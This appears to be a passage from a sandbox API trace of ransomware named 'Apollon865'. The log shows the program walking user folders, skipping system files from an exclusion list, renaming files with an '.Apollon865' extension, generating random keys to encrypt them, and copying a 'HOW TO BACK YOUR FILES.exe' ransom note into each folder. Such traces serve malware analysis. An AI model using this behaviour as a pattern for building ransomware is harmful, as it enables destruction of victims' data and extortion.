	[0078.769] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft Help\\MS.WINWORD.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.winword.14.1033.hxn"), lpNewFileName="C:\\Users\\All Users\\Microsoft Help\\MS.WINWORD.14.1033.hxn.Apollon865" (normalized: "c:\\users\\all users\\microsoft help\\ms.winword.14.1033.hxn.apollon865"), dwFlags=0x1) returned 1
	[0078.771] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\MS.WINWORD.14.1033.hxn.Apollon865" (normalized: "c:\\users\\all users\\microsoft help\\ms.winword.14.1033.hxn.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0078.772] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=338) returned 1
	[0078.772] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0078.772] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0078.772] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0078.772] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf920) returned 1
	[0078.773] CryptGenRandom (in: hProv=0x5bf920, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0078.773] CryptReleaseContext (hProv=0x5bf920, dwFlags=0x0) returned 1
	[0078.773] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x460, lpName=0x0) returned 0xd8
	[0078.779] MapViewOfFile (hFileMappingObject=0xd8, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x460) returned 0x100000
	[0078.780] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf920) returned 1
	[0078.781] CryptGenRandom (in: hProv=0x5bf920, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0078.781] CryptReleaseContext (hProv=0x5bf920, dwFlags=0x0) returned 1
	[0078.781] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0078.781] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0078.781] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0078.781] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0078.781] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0078.781] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0078.781] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b28e8
	[0078.782] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0078.782] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b28e8 | out: hHeap=0x580000) returned 1
	[0078.782] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0078.782] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0078.782] CloseHandle (hObject=0xd8) returned 1
	[0078.782] CloseHandle (hObject=0x15c) returned 1
	[0078.782] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0078.782] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0078.782] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0078.782] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x1e67e130, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e67e130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e6f0550, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x16a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MS.WINWORD.DEV.14.1033.hxn", cAlternateFileName="MSWINW~2.HXN")) returned 1
	[0078.782] lstrcmpiW (lpString1="MS.WINWORD.DEV.14.1033.hxn", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0078.782] lstrcmpiW (lpString1="MS.WINWORD.DEV.14.1033.hxn", lpString2="Apollon865.txt.exe") returned 1
	[0078.782] lstrcmpiW (lpString1="MS.WINWORD.DEV.14.1033.hxn", lpString2=".") returned 1
	[0078.782] lstrcmpiW (lpString1="MS.WINWORD.DEV.14.1033.hxn", lpString2="..") returned 1
	[0078.782] lstrcmpiW (lpString1="MS.WINWORD.DEV.14.1033.hxn", lpString2="windows") returned -1
	[0078.782] lstrcmpiW (lpString1="MS.WINWORD.DEV.14.1033.hxn", lpString2="bootmgr") returned 1
	[0078.782] lstrcmpiW (lpString1="MS.WINWORD.DEV.14.1033.hxn", lpString2="temp") returned -1
	[0078.782] lstrcmpiW (lpString1="MS.WINWORD.DEV.14.1033.hxn", lpString2="pagefile.sys") returned -1
	[0078.782] lstrcmpiW (lpString1="MS.WINWORD.DEV.14.1033.hxn", lpString2="boot") returned 1
	[0078.782] lstrcmpiW (lpString1="MS.WINWORD.DEV.14.1033.hxn", lpString2="ids.txt") returned 1
	[0078.782] lstrcmpiW (lpString1="MS.WINWORD.DEV.14.1033.hxn", lpString2="ntuser.dat") returned -1
	[0078.782] lstrcmpiW (lpString1="MS.WINWORD.DEV.14.1033.hxn", lpString2="perflogs") returned -1
	[0078.782] lstrcmpiW (lpString1="MS.WINWORD.DEV.14.1033.hxn", lpString2="MSBuild") returned -1
	[0078.783] lstrlenW (lpString="MS.WINWORD.DEV.14.1033.hxn") returned 26
	[0078.783] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft Help\\MS.WINWORD.14.1033.hxn") returned 56
	[0078.783] lstrcpyW (in: lpString1=0x119e64c, lpString2="MS.WINWORD.DEV.14.1033.hxn" | out: lpString1="MS.WINWORD.DEV.14.1033.hxn") returned="MS.WINWORD.DEV.14.1033.hxn"
	[0078.783] lstrlenW (lpString="MS.WINWORD.DEV.14.1033.hxn") returned 26
	[0078.783] lstrlenW (lpString="Apollon865") returned 10
	[0078.783] lstrcmpiW (lpString1="4.1033.hxn", lpString2="Apollon865") returned -1
	[0078.783] lstrlenW (lpString=".dll") returned 4
	[0078.783] lstrcmpiW (lpString1="MS.WINWORD.DEV.14.1033.hxn", lpString2=".dll") returned 1
	[0078.783] lstrlenW (lpString=".lnk") returned 4
	[0078.783] lstrcmpiW (lpString1="MS.WINWORD.DEV.14.1033.hxn", lpString2=".lnk") returned 1
	[0078.783] lstrlenW (lpString=".ini") returned 4
	[0078.783] lstrcmpiW (lpString1="MS.WINWORD.DEV.14.1033.hxn", lpString2=".ini") returned 1
	[0078.783] lstrlenW (lpString=".sys") returned 4
	[0078.783] lstrcmpiW (lpString1="MS.WINWORD.DEV.14.1033.hxn", lpString2=".sys") returned 1
	[0078.783] lstrlenW (lpString="MS.WINWORD.DEV.14.1033.hxn") returned 26
	[0078.783] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Microsoft Help\\MS.WINWORD.DEV.14.1033.hxn.Apollon865") returned 71
	[0078.783] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft Help\\MS.WINWORD.DEV.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.winword.dev.14.1033.hxn"), lpNewFileName="C:\\Users\\All Users\\Microsoft Help\\MS.WINWORD.DEV.14.1033.hxn.Apollon865" (normalized: "c:\\users\\all users\\microsoft help\\ms.winword.dev.14.1033.hxn.apollon865"), dwFlags=0x1) returned 1
	[0078.784] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\MS.WINWORD.DEV.14.1033.hxn.Apollon865" (normalized: "c:\\users\\all users\\microsoft help\\ms.winword.dev.14.1033.hxn.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0078.784] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=362) returned 1
	[0078.784] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0078.785] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0078.785] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0078.785] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf920) returned 1
	[0078.785] CryptGenRandom (in: hProv=0x5bf920, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0078.785] CryptReleaseContext (hProv=0x5bf920, dwFlags=0x0) returned 1
	[0078.786] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x470, lpName=0x0) returned 0x100
	[0078.788] MapViewOfFile (hFileMappingObject=0x100, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x470) returned 0x120000
	[0078.789] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf920) returned 1
	[0078.789] CryptGenRandom (in: hProv=0x5bf920, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0078.789] CryptReleaseContext (hProv=0x5bf920, dwFlags=0x0) returned 1
	[0078.789] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0078.789] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0078.789] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0078.790] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0078.790] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0078.790] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0078.790] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0078.790] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0078.790] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0078.790] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0078.790] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0078.790] CloseHandle (hObject=0x100) returned 1
	[0078.790] CloseHandle (hObject=0x15c) returned 1
	[0078.790] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0078.790] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0078.790] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0078.790] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xe80ff230, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xe80ff230, ftLastAccessTime.dwHighDateTime=0x1d2dda1, ftLastWriteTime.dwLowDateTime=0xe8b8c220, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x21dc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="nslist.hxl", cAlternateFileName="")) returned 1
	[0078.790] lstrcmpiW (lpString1="nslist.hxl", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0078.790] lstrcmpiW (lpString1="nslist.hxl", lpString2="Apollon865.txt.exe") returned 1
	[0078.790] lstrcmpiW (lpString1="nslist.hxl", lpString2=".") returned 1
	[0078.791] lstrcmpiW (lpString1="nslist.hxl", lpString2="..") returned 1
	[0078.791] lstrcmpiW (lpString1="nslist.hxl", lpString2="windows") returned -1
	[0078.791] lstrcmpiW (lpString1="nslist.hxl", lpString2="bootmgr") returned 1
	[0078.791] lstrcmpiW (lpString1="nslist.hxl", lpString2="temp") returned -1
	[0078.791] lstrcmpiW (lpString1="nslist.hxl", lpString2="pagefile.sys") returned -1
	[0078.791] lstrcmpiW (lpString1="nslist.hxl", lpString2="boot") returned 1
	[0078.791] lstrcmpiW (lpString1="nslist.hxl", lpString2="ids.txt") returned 1
	[0078.791] lstrcmpiW (lpString1="nslist.hxl", lpString2="ntuser.dat") returned -1
	[0078.791] lstrcmpiW (lpString1="nslist.hxl", lpString2="perflogs") returned -1
	[0078.791] lstrcmpiW (lpString1="nslist.hxl", lpString2="MSBuild") returned 1
	[0078.791] lstrlenW (lpString="nslist.hxl") returned 10
	[0078.791] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft Help\\MS.WINWORD.DEV.14.1033.hxn") returned 60
	[0078.791] lstrcpyW (in: lpString1=0x119e64c, lpString2="nslist.hxl" | out: lpString1="nslist.hxl") returned="nslist.hxl"
	[0078.791] lstrlenW (lpString="nslist.hxl") returned 10
	[0078.791] lstrlenW (lpString="Apollon865") returned 10
	[0078.791] lstrlenW (lpString=".dll") returned 4
	[0078.791] lstrcmpiW (lpString1="nslist.hxl", lpString2=".dll") returned 1
	[0078.791] lstrlenW (lpString=".lnk") returned 4
	[0078.791] lstrcmpiW (lpString1="nslist.hxl", lpString2=".lnk") returned 1
	[0078.791] lstrlenW (lpString=".ini") returned 4
	[0078.791] lstrcmpiW (lpString1="nslist.hxl", lpString2=".ini") returned 1
	[0078.791] lstrlenW (lpString=".sys") returned 4
	[0078.791] lstrcmpiW (lpString1="nslist.hxl", lpString2=".sys") returned 1
	[0078.791] lstrlenW (lpString="nslist.hxl") returned 10
	[0078.791] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Microsoft Help\\nslist.hxl.Apollon865") returned 55
	[0078.791] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft Help\\nslist.hxl" (normalized: "c:\\users\\all users\\microsoft help\\nslist.hxl"), lpNewFileName="C:\\Users\\All Users\\Microsoft Help\\nslist.hxl.Apollon865" (normalized: "c:\\users\\all users\\microsoft help\\nslist.hxl.apollon865"), dwFlags=0x1) returned 1
	[0078.792] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\nslist.hxl.Apollon865" (normalized: "c:\\users\\all users\\microsoft help\\nslist.hxl.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0078.792] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=8668) returned 1
	[0078.792] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0078.793] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0078.793] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0078.793] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf920) returned 1
	[0078.793] CryptGenRandom (in: hProv=0x5bf920, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0078.793] CryptReleaseContext (hProv=0x5bf920, dwFlags=0x0) returned 1
	[0078.794] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x24e0, lpName=0x0) returned 0x100
	[0078.798] MapViewOfFile (hFileMappingObject=0x100, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x24e0) returned 0x120000
	[0078.809] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf920) returned 1
	[0078.809] CryptGenRandom (in: hProv=0x5bf920, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0078.810] CryptReleaseContext (hProv=0x5bf920, dwFlags=0x0) returned 1
	[0078.810] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0078.810] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0078.810] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0078.810] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0078.810] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0078.810] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0078.810] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b28e8
	[0078.810] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0078.810] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b28e8 | out: hHeap=0x580000) returned 1
	[0078.810] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0078.810] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0078.810] CloseHandle (hObject=0x100) returned 1
	[0078.810] CloseHandle (hObject=0x15c) returned 1
	[0078.811] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0078.811] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0078.811] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0078.811] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xe80ff230, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xe80ff230, ftLastAccessTime.dwHighDateTime=0x1d2dda1, ftLastWriteTime.dwLowDateTime=0xe8b8c220, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x21dc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="nslist.hxl", cAlternateFileName="")) returned 0
	[0078.811] FindClose (in: hFindFile=0x5ca110 | out: hFindFile=0x5ca110) returned 1
	[0078.811] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b79b0
	[0078.811] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\All Users\\Microsoft", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Microsoft") returned="C:\\Users\\All Users\\Microsoft"
	[0078.811] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b6118 | out: hHeap=0x580000) returned 1
	[0078.811] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b79a8 | out: hHeap=0x580000) returned 1
	[0078.811] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft") returned 28
	[0078.811] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Microsoft" | out: lpString1="C:\\Users\\All Users\\Microsoft") returned="C:\\Users\\All Users\\Microsoft"
	[0078.811] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0078.811] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0078.812] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x150
	[0078.812] GetLastError () returned 0x0
	[0078.812] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ecfb8
	[0078.812] ReadFile (in: hFile=0x150, lpBuffer=0x5ecfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ecfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0078.812] CloseHandle (hObject=0x150) returned 1
	[0078.812] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ecfb8 | out: hHeap=0x580000) returned 1
	[0078.812] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0078.812] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2f71d350, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f71d350, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca110
	[0078.813] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0078.813] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0078.813] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0078.813] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2f71d350, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f71d350, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0078.813] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0078.813] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0078.813] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0078.813] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0078.813] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3fc949a4, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x2ffe4470, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2ffe4470, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Assistance", cAlternateFileName="ASSIST~1")) returned 1
	[0078.813] lstrcmpiW (lpString1="Assistance", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0078.813] lstrcmpiW (lpString1="Assistance", lpString2="Apollon865.txt.exe") returned 1
	[0078.813] lstrcmpiW (lpString1="Assistance", lpString2=".") returned 1
	[0078.813] lstrcmpiW (lpString1="Assistance", lpString2="..") returned 1
	[0078.813] lstrcmpiW (lpString1="Assistance", lpString2="windows") returned -1
	[0078.813] lstrcmpiW (lpString1="Assistance", lpString2="bootmgr") returned -1
	[0078.813] lstrcmpiW (lpString1="Assistance", lpString2="temp") returned -1
	[0078.813] lstrcmpiW (lpString1="Assistance", lpString2="pagefile.sys") returned -1
	[0078.813] lstrcmpiW (lpString1="Assistance", lpString2="boot") returned -1
	[0078.813] lstrcmpiW (lpString1="Assistance", lpString2="ids.txt") returned -1
	[0078.813] lstrcmpiW (lpString1="Assistance", lpString2="ntuser.dat") returned -1
	[0078.813] lstrcmpiW (lpString1="Assistance", lpString2="perflogs") returned -1
	[0078.813] lstrcmpiW (lpString1="Assistance", lpString2="MSBuild") returned -1
	[0078.813] lstrlenW (lpString="Assistance") returned 10
	[0078.813] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\*") returned 30
	[0078.813] lstrcpyW (in: lpString1=0x119e642, lpString2="Assistance" | out: lpString1="Assistance") returned="Assistance"
	[0078.813] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b79a8
	[0078.813] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x50) returned 0x5bc9b8
	[0078.814] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b79b0 | out: ListHead=0x5b75f0, ListEntry=0x5b79b0) returned 0x5b7a90
	[0078.814] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2ff72050, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2ff72050, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Crypto", cAlternateFileName="")) returned 1
	[0078.814] lstrcmpiW (lpString1="Crypto", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0078.814] lstrcmpiW (lpString1="Crypto", lpString2="Apollon865.txt.exe") returned 1
	[0078.814] lstrcmpiW (lpString1="Crypto", lpString2=".") returned 1
	[0078.814] lstrcmpiW (lpString1="Crypto", lpString2="..") returned 1
	[0078.814] lstrcmpiW (lpString1="Crypto", lpString2="windows") returned -1
	[0078.814] lstrcmpiW (lpString1="Crypto", lpString2="bootmgr") returned 1
	[0078.814] lstrcmpiW (lpString1="Crypto", lpString2="temp") returned -1
	[0078.814] lstrcmpiW (lpString1="Crypto", lpString2="pagefile.sys") returned -1
	[0078.814] lstrcmpiW (lpString1="Crypto", lpString2="boot") returned 1
	[0078.814] lstrcmpiW (lpString1="Crypto", lpString2="ids.txt") returned -1
	[0078.814] lstrcmpiW (lpString1="Crypto", lpString2="ntuser.dat") returned -1
	[0078.814] lstrcmpiW (lpString1="Crypto", lpString2="perflogs") returned -1
	[0078.814] lstrcmpiW (lpString1="Crypto", lpString2="MSBuild") returned -1
	[0078.814] lstrlenW (lpString="Crypto") returned 6
	[0078.814] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Assistance") returned 39
	[0078.814] lstrcpyW (in: lpString1=0x119e642, lpString2="Crypto" | out: lpString1="Crypto") returned="Crypto"
	[0078.814] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c28
	[0078.814] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x48) returned 0x5bdf78
	[0078.814] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7c30 | out: ListHead=0x5b75f0, ListEntry=0x5b7c30) returned 0x5b79b0
